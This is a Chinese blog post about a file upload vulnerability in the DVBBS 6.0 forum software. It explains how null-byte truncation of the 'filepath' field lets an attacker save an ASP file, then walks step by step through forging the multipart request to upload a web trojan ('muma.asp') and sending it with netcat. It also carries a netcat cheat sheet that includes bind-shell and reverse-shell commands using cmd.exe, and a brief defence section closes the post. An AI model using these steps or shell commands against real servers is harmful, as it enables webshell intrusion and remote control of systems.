注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

碳基体

http://weibo.com/tanjiti

 
 
 
 
 

日志

 
 

动网dvbbs 6.0 文件上传漏洞  

2011-06-22 14:19:51|  分类: web app security |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
一、漏洞成因
1)reg_upload.asp
<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
<input type="hidden" name="filepath" value="uploadFace">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
parent.document.forms[0].Submit2.disabled=true;">
</form>
upfile.asp程序是提取file1表单和fname表单中的值来做文件后缀判断的,而file1和fname的值来源于客户端,这给我们欺骗服务端的程序提供了可能.
2)upfile.asp
 filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt其中变量filename是要保存上传头像的文件名, fileExt是要保存文件的后缀.
只要让frompath变量做为一个已经结束的字符串,那么后面的那些改变上传文件名的函数就都不起作用了。在计算机中检测字符串是否结束是通过检测'/0'来实现的,只要发现了'/0'就认为结束;也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似 "uploadface/mm.asp"这样的路径参数已经结束了,从而达到直接将文件保存为我们定义的文件名的目的。
。file1、fname表单值只是判断我们上传的文件是否合法的jpg或gif后缀而已,,上传asp文件的后缀指定倒不是因它俩而来。其实upfile.asp判断你上传的头像是否为asp后缀并不重要的,漏洞的关键就是一个formPath变量没有过滤及截断的问题。只要我们设定formPath的变量为“uploadface/xx.asp”这样的值,再在这个值后加个00截断字符就可以了。上传的asp后缀没有变化,只是因为我们把formPath的变量指定为了uploadface/xx.asp这种格式。

二、攻击方法
1)工具:winsockexport 打开——选择监听的程序——open
2)将嗅探结果复制到一个2.txt文档里,注意一定要全选复制第3和第4行的所有数据,在复制的过程中记得一定要把最后的回车也复制进去,不然实验不成功的。
3)修改数据
第一个地方:
Content-Disposition: form-data; name="file1"; filename="C:/Newmm.asp"
改为
Content-Disposition: form-data; name="file1"; filename="C:/Newmm.gif"
欺骗服务端,让它误认为我们上传的是.gif后缀。
第二个地方:
-----------------------------7d43e4122010e
Content-Disposition: form-data; name="filepath"
uploadFace
改为:
-----------------------------7d43e4122010e
Content-Disposition: form-data; name="filepath"
uploadFace/muma.asp
注意在muma.asp后面有一个空格,切记。这里的意思是好为我们自定义上传文件名做好准备。
第三个地方:
修改提交数据的长度
原来:Content-Length: 1819
后来增加了/muma.asp和一个空格,就是增加了10
长度变成1829
Content-Length: 1819
第四个地方:
保存好我们修改好的2.txt之后,下面进行最重要的一步,就是我们谈到的让formpath作为字符串结束的'/0'。我们知道在16进制中空格是20,'/0'是00,那么我们就把刚才我们在muma.asp后面的空格变成'/0'。这里我们用ultredit打开2.txt。把20修改为00,保存。
4)工具:nc,用nc提交2.txt

nc localhost 80 <2.txt
nc:,透过使用TCP或UDP协议的网络连接去读写数据。


-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时

1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口


2)监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口


3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口


4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口


5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口


以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令“|”与重定向命令“<”、“>”等等命令功能更强大......)。

高级用法:

6)作攻击程序用,例子:
格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送c:exploit.txt的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)

附:c:exploit.txt为shellcode等


7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用-L(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止.


8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:log.txt
讲解:使用-L可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到c:log.txt中,如果把‘>’改为‘>>’即可以追加日志。
最后,muma.asp成功上传到了http://***/bbs/uploadFace/muma.asp下

三、防御
首先要把首页和bbs分开放,然后在iis里严格用户访问权限,不给他们修改、删除的权限,这样即使他们传上去网页木马也是没有用的,他们只能看一看而已,更别提什么改首页了(前提是可读的文件里可别有什么sa的密码的东西)。实际上你还可以不给他们列出文件夹目录的权限, 再配置好FSO,配置好shell.application这样就更安全一点了。其次要记住给ftp用户可写的权限,这样虚拟主机的用户才有方法维护网站。最后要说提解决这个头像上传漏洞的方法当然是给dvbbs打补丁。我估计相同或相近的问题会出现在其他程序的很多地方,希望相关人等能尽快发现,不只是找漏洞的人,还有程序员自己。
  评论这张
 
阅读(507)| 评论(0)
推荐

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017